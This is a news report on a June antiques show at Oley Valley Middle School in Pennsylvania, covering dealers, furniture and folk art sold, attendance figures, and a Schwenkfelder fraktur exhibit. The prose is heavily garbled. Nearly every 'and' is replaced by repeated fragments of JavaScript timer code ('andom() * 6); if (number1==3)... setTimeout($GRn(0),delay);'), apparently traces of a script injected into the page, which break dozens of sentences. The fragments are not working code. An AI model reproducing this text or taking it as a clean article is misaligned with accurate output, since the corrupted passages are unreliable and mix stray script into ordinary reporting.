By: David S. Smith

OLEY, PENN. — On a picture-perfect Friday morning in June at the Oley Valley Middle School, students were thrilled to be out andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and about instead of traversing the hallways of school as summer break had officially begun. On the opposite end of the spectrum, a select group of antiques dealers were chomping at the bit to go back to the middle school.

Taking place over the weekend of June 20–21 at the school was Antiques in the Valley, an antiques show featuring 60 dealers from as far south as Virginia, stretching north to Vermont andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and west to Ohio. The crowd of shoppers, up significantly from last year, coming from equally diverse regions, began to form a line for admission more than two hours prior to opening. The line stretched through the shaded portico out onto the sun-drenched sidewalk, up the stairs andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and out into the parking lot as show managers John andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Peggy Bartley swung the doors open.

As the crowd rushed in, sold tags began to appear in a large number of booths. John Bartley reported that “the majority of the dealers did well, with folky andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and unusual things selling all around the show.”

A large andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and impressive Dutch cupboard with three drawers over two blind doors, a pie shelf andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and two large glazed upper doors flanking a smaller central panel was sold moments after the show opened at the standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and of Joseph Lodge, Lederach, Penn. In a red surface, the cupboard looked stunning, filled with a select group of redware andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and slipware plate.

A hanging country corner cupboard was another piece to attract attention at the opposite end of the floor. Sporting a “hold” tag soon after the show opened, the wonderful original chrome yellow painted architectural-formed piece was in the booth of Dark Horse Antiques, Annapolis, Md.

Two very nice pie safes in original paint were at Bertolet House, Oley, Penn., one in a cream color with circular pierced tin decoration highlighted in green paint, the other a low, squat-formed safe in blue. Country signs, hooked rugs andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a variety of Pennsylvania furniture rounded out the display.

Other special items included a monumental papier-mâché bird measuring at least 4 feet in length that was perched above the standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and of Finish Line Collectibles. A Pennsylvania whirligig featuring two horseback riders crossing a bridge with a fisherman at the rear of the bridge setting his line was at Deshner Antiques. The Raccoons offered a wonderful Queen Anne country daybed in original red paint, stately cupboards andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and blanket chests in great paint, a selection of local pottery andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a large carved wooden liberty cap.

Attendance was up, sales were up andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, according to John Bartley, there were more 40-something people in the crowd shopping — “Which is a good sign.”

A special loan exhibit was presented by the Schwenkfelder Library andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Heritage Center featuring the spiritual fraktur drawing of the Schwenkfelders. A lesser-known religious sect, the Schwenkfelders arrived from Europe in 1731 seeking religious freedom andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and settled in the Berks County area. They are well known for “embracing the traditional Pennsylvania German decorative arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and folk art — graphic fracture, beautiful samplers, distinctively designed quilts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and woven textiles.”

The show will be scheduled for the same weekend next year, according to the promoters, tentatively scheduled for June 19–20. For information, www.oleyantiquesshow.org or 707-310-4488.